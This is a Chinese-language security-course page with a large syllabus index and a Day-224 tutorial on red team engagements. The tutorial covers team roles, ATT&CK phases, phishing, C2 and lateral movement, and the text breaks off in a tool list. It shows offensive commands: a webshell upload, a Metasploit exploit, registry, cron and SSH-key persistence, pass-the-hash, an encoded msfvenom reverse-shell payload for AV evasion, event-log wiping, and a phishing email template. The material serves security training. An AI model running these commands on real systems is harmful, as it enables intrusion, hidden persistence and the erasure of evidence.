公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-224-红队演练技术详解
# Day 219: 红队演练技术详解 > 渗透测试系列第 9 天 | 预计阅读时间:60 分钟 | 难度:★★★★★ --- ## 清单 目录 1. [红队演练概述](#红队演练概述) 2. [红队与蓝队](#红队与蓝队) 3. [红队演练流程](#红队演练流程) 4. [目标侦察与规划](#目标侦察与规划) 5. [初始访问技术](#初始访问技术) 6. [持久化与 C2](#持久化与 C2) 7. [横向移动与目标达成](#横向移动与目标达成) 8. [ evasion 技术](#evasion 技术) 9. [红队工具集](#红队工具集) 10. [红队演练实战案例](#红队演练实战案例) 11. [红队演练最佳实践](#红队演练最佳实践) 12. [总结与思考](#总结与思考) 13. [参考资料](#参考资料) --- ## 红队演练概述 ### 什么是红队演练 红队演练(Red Teaming)是一种全面的安全评估方法,通过模拟真实攻击者的战术、技术和程序(TTPs),测试组织的整体防御能力。 **红队演练的核心定义**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 红队演练定义 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 红队演练 = 真实攻击模拟 + 全面防御测试 + 持续改进 │ │ │ │ 关键特征: │ │ 1. 真实攻击模拟(Realistic Attack Simulation) │ │ - 使用真实攻击者 TTPs │ │ - 模拟特定威胁组织 │ │ - 不预先通知防御方 │ │ │ │ 2. 全面防御测试(Comprehensive Defense Testing) │ │ - 测试人员、流程、技术 │ │ - 评估检测和响应能力 │ │ - 发现防御盲点 │ │ │ │ 3. 持续改进(Continuous Improvement) │ │ - 提供改进建议 │ │ - 跟踪修复进度 │ │ - 定期复测验证 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 红队 vs 渗透测试 | 方面 | 渗透测试 | 红队演练 | |------|----------|----------| | **目标** | 发现尽可能多漏洞 | 测试检测和响应能力 | | **范围** | 约定范围 | 无限制(模拟真实攻击) | | **通知** | 预先通知 | 不通知(或仅少数人知道) | | **时间** | 数天 | 数周至数月 | | **深度** | 广度优先 | 深度优先 | | **输出** | 漏洞列表 + 修复建议 | 防御能力评估 + 改进建议 | | **成功标准** | 发现漏洞数量 | 是否被检测到 | ### 红队演练类型 ``` ┌─────────────────────────────────────────────────────────────┐ │ 红队演练类型 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 按通知程度分类: │ │ ├── 白盒演练(完全通知) │ │ ├── 灰盒演练(部分通知) │ │ └── 黑盒演练(不通知) │ │ │ │ 按攻击向量分类: │ │ ├── 网络攻击演练 │ │ ├── 物理安全演练 │ │ ├── 社会工程学演练 │ │ └── 混合攻击演练 │ │ │ │ 按目标分类: │ │ ├── 技术目标(系统、网络) │ │ ├── 人员目标(意识、响应) │ │ ├── 流程目标(流程、政策) │ │ └── 综合目标(整体防御) │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 红队与蓝队 ### 红队角色 **红队成员构成**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 红队成员构成 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 红队队长(Red Team Lead) │ │ ├── 职责:整体规划、协调、报告 │ │ ├── 技能:项目管理、沟通、技术 │ │ └── 经验:5-10 年安全经验 │ │ │ │ 攻击专家(Attack Specialist) │ │ ├── 职责:漏洞利用、横向移动 │ │ ├── 技能:渗透测试、编程、脚本 │ │ └── 经验:3-5 年渗透经验 │ │ │ │ 社会工程学专家(SE Specialist) │ │ ├── 职责:钓鱼、语音钓鱼、物理入侵 │ │ ├── 技能:心理学、沟通、表演 │ │ └── 经验:2-5 年 SE 经验 │ │ │ │ 物理安全专家(Physical Security Specialist) │ │ ├── 职责:物理入侵、设备植入 │ │ ├── 技能:锁具、门禁、监控规避 │ │ └── 经验:2-5 年物理安全经验 │ │ │ │ 情报分析师(Intelligence Analyst) │ │ ├── 职责:OSINT、目标分析、威胁情报 │ │ ├── 技能:情报收集、分析、报告 │ │ └── 经验:2-5 年情报经验 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 蓝队角色 **蓝队成员构成**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 蓝队成员构成 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 蓝队队长(Blue Team Lead) │ │ ├── 职责:防御协调、响应指挥 │ │ ├── 技能:安全管理、应急响应 │ │ └── 经验:5-10 年安全经验 │ │ │ │ SOC 分析师(SOC Analyst) │ │ ├── 职责:监控、告警分析、初步响应 │ │ ├── 技能:SIEM、日志分析、威胁检测 │ │ └── 经验:1-3 年安全经验 │ │ │ │ 事件响应专家(IR Specialist) │ │ ├── 职责:深度响应、取证、遏制 │ │ ├── 技能:取证、恶意软件分析、溯源 │ │ └── 经验:3-5 年 IR 经验 │ │ │ │ 威胁猎手(Threat Hunter) │ │ ├── 职责:主动猎杀威胁、假设验证 │ │ ├── 技能:威胁情报、行为分析、狩猎 │ │ └── 经验:3-5 年安全经验 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 紫队协作 **紫队(Purple Team)**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 紫队协作 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 紫队 = 红队 + 蓝队协作 │ │ │ │ 目标: │ │ ├── 红队分享 TTPs │ │ ├── 蓝队优化检测规则 │ │ ├── 共同提升防御能力 │ │ └── 建立持续改进机制 │ │ │ │ 协作方式: │ │ ├── 定期技术分享 │ │ ├── 联合演练 │ │ ├── 检测规则验证 │ │ └── 攻击模拟测试 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 红队演练流程 ### 完整流程 ``` ┌─────────────────────────────────────────────────────────────┐ │ 红队演练流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 阶段 1: 前期准备(Pre-engagement) │ │ ├── 目标定义 │ │ ├── 范围确认 │ │ ├── 规则制定(ROE) │ │ └── 授权获取 │ │ │ │ 阶段 2: 情报收集(Intelligence Gathering) │ │ ├── OSINT 收集 │ │ ├── 目标分析 │ │ ├── 威胁建模 │ │ └── 攻击路径规划 │ │ │ │ 阶段 3: 初始访问(Initial Access) │ │ ├── 钓鱼攻击 │ │ ├── 漏洞利用 │ │ ├── 物理入侵 │ │ └── 供应链攻击 │ │ │ │ 阶段 4: 持久化(Persistence) │ │ ├── C2 基础设施搭建 │ │ ├── 后门安装 │ │ └── 隐蔽通道建立 │ │ │ │ 阶段 5: 横向移动(Lateral Movement) │ │ ├── 内网渗透 │ │ ├── 凭证收集 │ │ └── 权限提升 │ │ │ │ 阶段 6: 目标达成(Objective Achievement) │ │ ├── 数据收集 │ │ ├── 目标系统访问 │ │ └── 模拟攻击效果 │ │ │ │ 阶段 7: 报告与改进(Reporting & Improvement) │ │ ├── 详细报告 │ │ ├── 改进建议 │ │ └── 复测验证 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### MITRE ATT&CK 框架 **ATT&CK 矩阵**: ``` ┌─────────────────────────────────────────────────────────────┐ │ MITRE ATT&CK 战术 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. Reconnaissance(侦察) │ │ 2. Resource Development(资源开发) │ │ 3. Initial Access(初始访问) │ │ 4. Execution(执行) │ │ 5. Persistence(持久化) │ │ 6. Privilege Escalation(权限提升) │ │ 7. Defense Evasion(防御规避) │ │ 8. Credential Access(凭证访问) │ │ 9. Discovery(发现) │ │ 10. Lateral Movement(横向移动) │ │ 11. Collection(收集) │ │ 12. Command and Control(命令与控制) │ │ 13. Exfiltration(外传) │ │ 14. Impact(影响) │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 目标侦察与规划 ### OSINT 收集 **信息收集渠道**: ``` ┌─────────────────────────────────────────────────────────────┐ │ OSINT 收集渠道 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 公司信息: │ │ ├── 公司官网 │ │ ├── LinkedIn 公司页面 │ │ ├── 工商信息 │ │ └── 招聘信息 │ │ │ │ 员工信息: │ │ ├── LinkedIn 个人资料 │ │ ├── 社交媒体(微博、微信) │ │ ├── 技术社区(GitHub、Stack Overflow) │ │ └── 公开演讲/文章 │ │ │ │ 技术信息: │ │ ├── 网站技术栈(Wappalyzer) │ │ ├── 网络空间测绘(Shodan、Censys) │ │ ├── DNS 记录 │ │ └── 证书信息 │ │ │ │ 泄露信息: │ │ ├── 暗网监控 │ │ ├── 数据泄露数据库 │ │ └── Paste 站点监控 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` **OSINT 工具**: ```bash # theHarvester - 收集邮箱、子域名 $ theHarvester -d target.com -b google,linkedin # Maltego - 关系图谱 $ maltego # SpiderFoot - 自动化 OSINT $ spiderfoot -m all -t target.com # Recon-ng - 侦察框架 $ recon-ng [recon-ng][default] > modules search [recon-ng][default] > modules load <module> # Shodan - 设备搜索 $ shodan search "org:Target Company" # GitHub 搜索 $ site:github.com "target.com" password ``` ### 威胁建模 **威胁建模流程**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 威胁建模流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 资产识别 │ │ ├── 关键数据(客户信息、财务数据) │ │ ├── 关键系统(ERP、CRM) │ │ └── 关键人员(高管、财务) │ │ │ │ 2. 威胁源识别 │ │ ├── 外部攻击者 │ │ ├── 内部威胁 │ │ └── 供应链威胁 │ │ │ │ 3. 攻击向量分析 │ │ ├── 网络攻击 │ │ ├── 社会工程学 │ │ └── 物理攻击 │ │ │ │ 4. 攻击路径规划 │ │ ├── 最可能路径 │ │ ├── 最高成功概率路径 │ │ └── 最难检测路径 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 初始访问技术 ### 钓鱼攻击 **鱼叉钓鱼**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 鱼叉钓鱼攻击 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 准备阶段: │ │ ├── 目标选择(高管、财务、IT) │ │ ├── 信息收集(职位、兴趣、联系人) │ │ └── 邮件定制(个性化内容) │ │ │ │ 执行阶段: │ │ ├── 发送钓鱼邮件 │ │ ├── 监控点击情况 │ │ └── 跟进未点击目标 │ │ │ │ 成功标准: │ │ ├── 凭证提交 │ │ ├── 恶意软件执行 │ │ └── 宏启用 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` **钓鱼邮件模板**: ``` From: HR Department <hr@company-hr.com> Subject: 2024 年度薪资调整通知 各位同事, 根据公司年度绩效评估结果,您的薪资将进行相应调整。 请查看附件中的详细调整方案,并于本周五前确认。 如有疑问,请联系人力资源部。 人力资源部 ``` ### 漏洞利用 **Web 应用漏洞**: ```bash # SQL 注入 $ sqlmap -u "https://target.com/login" --forms --batch # 文件上传 $ curl -F "file=@shell.php" https://target.com/upload # RCE 漏洞 $ curl "https://target.com/api?cmd=whoami" ``` **服务器漏洞**: ```bash # 使用 Metasploit msf6 > use exploit/multi/http/struts2_content_type_ognl msf6 > set RHOSTS target.com msf6 > exploit # 使用 Nuclei $ nuclei -u https://target.com -t cves/2023/ ``` ### 物理入侵 **入侵方法**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 物理入侵方法 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 尾随(Tailgating) │ │ - 跟随员工进入大楼 │ │ - 假装双手拿满物品 │ │ - 假装打电话 │ │ │ │ 伪装(Disguise) │ │ - 快递员制服 │ │ - 维修工制服 │ │ - 清洁工制服 │ │ │ │ 借口(Pretexting) │ │ - "我是来维修网络的" │ │ - "有包裹要送达" │ │ - "我的卡失效了" │ │ │ │ 设备植入 │ │ - USB 诱饵 │ │ - 网络 tap │ │ - 无线 implant │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 持久化与 C2 ### C2 基础设施 **C2 类型**: ``` ┌─────────────────────────────────────────────────────────────┐ │ C2 基础设施类型 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ HTTP/HTTPS C2 │ │ ├── 优点:流量常见、不易检测 │ │ ├── 缺点:需要域名/IP │ │ └── 工具:Cobalt Strike、Empire │ │ │ │ DNS C2 │ │ ├── 优点:隐蔽性高、可绕过防火墙 │ │ ├── 缺点:带宽有限、速度慢 │ │ └── 工具:dnscat2、iodine │ │ │ │ 社交媒体 C2 │ │ ├── 优点:流量正常、难检测 │ │ ├── 缺点:依赖第三方平台 │ │ └── 工具:自定义脚本 │ │ │ │ 云服务 C2 │ │ ├── 优点:可信域名、难封禁 │ │ ├── 缺点:平台可能检测 │ │ └── 工具:GitHub、Dropbox、Google Drive │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### Cobalt Strike 使用 **Cobalt Strike 基础**: ```bash # 启动 Team Server $ ./teamserver 10.10.10.5 password # 启动客户端 $ ./co Strike # 配置 Listener # Attack → Packages → Payload Generator # 选择 Beacon、设置 Listener # 生成 Payload # Attack → Packages → Windows Executable # 生成 exe、dll、ps1 等格式 ``` **Beacon 命令**: ``` help # 帮助 sleep <seconds> # 设置休眠时间 inject <pid> <payload> # 进程注入 spawn <listener> # 派生新 Beacon shell <command> # 执行命令 upload <local> <remote> # 上传文件 download <remote> # 下载文件 socks <port> # SOCKS 代理 portscan # 端口扫描 ``` ### 持久化技术 **Windows 持久化**: ```powershell # 注册表运行键 reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "C:\Windows\Temp\update.exe" # 计划任务 schtasks /create /tn WindowsUpdate /tr "C:\Windows\Temp\update.exe" /sc onstart /ru SYSTEM # 服务 sc create Update binPath= "C:\Windows\Temp\update.exe" start= auto sc start Update # WMI $ filterName = "WindowsUpdate" $ consumerName = "UpdateConsumer" $ command = "C:\Windows\Temp\update.exe" # ...(创建 WMI 订阅) ``` **Linux 持久化**: ```bash # cron $ echo "* * * * * /tmp/update.sh" | crontab - # systemd $ cat > /etc/systemd/system/update.service << EOF [Unit] Description=System Update [Service] ExecStart=/tmp/update.sh Restart=always [Install] WantedBy=multi-user.target EOF $ systemctl enable update # SSH 密钥 $ echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys ``` --- ## 横向移动与目标达成 ### 横向移动技术 **技术对比**: | 技术 | 优点 | 缺点 | 检测难度 | |------|------|------|----------| | **PsExec** | 简单、可靠 | 易被检测 | 中 | | **WMI** | 无文件、隐蔽 | 需要 WMI 启用 | 高 | | **PtH** | 无需明文密码 | 需要哈希 | 中 | | **PtT** | 绕过认证 | 需要票据 | 高 | | **DCOM** | 隐蔽 | 配置复杂 | 高 | | **SSH** | 标准协议 | 需要凭证 | 低 | **横向移动实施**: ```bash # PsExec $ impacket-psexec Administrator@192.168.1.20 # WMI $ impacket-wmiexec Administrator@192.168.1.20 # PtH $ impacket-psexec -hashes :hash Administrator@192.168.1.20 # PtT $ mimikatz # kerberos::ptt ticket.kirbi $ psexec \\target cmd ``` ### 目标达成 **常见目标**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 红队演练目标 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 数据访问目标: │ │ ├── 访问客户数据库 │ │ ├── 访问财务系统 │ │ └── 访问源代码仓库 │ │ │ │ 系统控制目标: │ │ ├── 控制域控制器 │ │ ├── 控制关键服务器 │ │ └── 控制网络设备 │ │ │ │ 业务影响目标: │ │ ├── 模拟业务中断 │ │ ├── 模拟数据泄露 │ │ └── 模拟勒索软件 │ │ │ │ 检测响应目标: │ │ ├── 测试检测能力 │ │ ├── 测试响应流程 │ │ └── 测试恢复能力 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## Evasion 技术 ### AV/EDR 规避 **规避技术**: ``` ┌─────────────────────────────────────────────────────────────┐ │ AV/EDR 规避技术 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 代码混淆: │ │ ├── 字符串加密 │ │ ├── 代码压缩 │ │ └── 控制流平坦化 │ │ │ │ 加载技术: │ │ ├── 反射 DLL 注入 │ │ ├── 进程空心化 │ │ └── 模块叠加 │ │ │ │ 内存操作: │ │ ├── 直接系统调用 │ │ ├── API 哈希 │ │ └── 间接调用 │ │ │ │ 签名绕过: │ │ ├── 白名单程序利用 │ │ ├── 签名窃取 │ │ └── 合法程序滥用 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` **免杀 Payload 生成**: ```bash # 使用 Veil $ veil # 使用 Shellter $ shellter # 使用 msfvenom + 编码 $ msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=10.10.10.5 LPORT=4444 \ -e x86/shikata_ga_nai -i 10 \ -f exe -o payload.exe # 使用 Donut(.NET) $ donut -f shellcode.bin -o payload.exe ``` ### 检测规避 **日志清理**: ```powershell # 清除 Windows 事件日志 meterpreter > clearev # 手动清除 $ wevtutil cl System $ wevtutil cl Application $ wevtutil cl Security # 清除 PowerShell 日志 $ Remove-Item (Get-PSReadlineOption).HistorySavePath $ Clear-History ``` **流量隐蔽**: ``` ┌─────────────────────────────────────────────────────────────┐ │ 流量隐蔽技术 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 域名前置(Domain Fronting) │ │ - 使用 CDN 域名掩盖真实 C2 │ │ - 难以追踪和封禁 │ │ │ │ 流量加密 │ │ - HTTPS 加密 │ │ - 自定义加密协议 │ │ │ │ 流量伪装 │ │ - 模仿正常流量 │ │ - 使用常见端口 │ │ │ │ 低频通信 │ │ - 延长心跳间隔 │ │ - 减少通信频率 │ │ │ └─────────────────────────────────────────────────────────────┘ ``` --- ## 红队工具集 ### 商业工具 | 工具 | 厂商 | 用途 | 价格 | |------|------|------|------| | **Cobalt Strike** | HelpSystems | C2 框架 | $3,500/年 | | **Core Impact** | Rapid7 | 渗透平台 | 定制 | | **Metasploit Pro** | Rapid7 | 渗透平台 | $25,000/年 | | **Empire** | 开源 | C2 框架 | 免费 | | **Brute Ratel** | Brute Ratel | C2 框架 | $5,000/年 | ### 开源工具 **C2 框架**: ```bash # Cobalt Strike(商业) $ ./teamserver <ip> <password> # Empire(开源) $ powershell-empire server # Sliver(开源) $ sliver-server # Covenant(开源) $ covenant ``` **后渗透工具**: ```bash # Mimikatz $ mimikatz.exe # BloodHound $ .\SharpHound.exe -c All # CrackMapExec $ crackmapexec smb 192.168.1.0/24 # 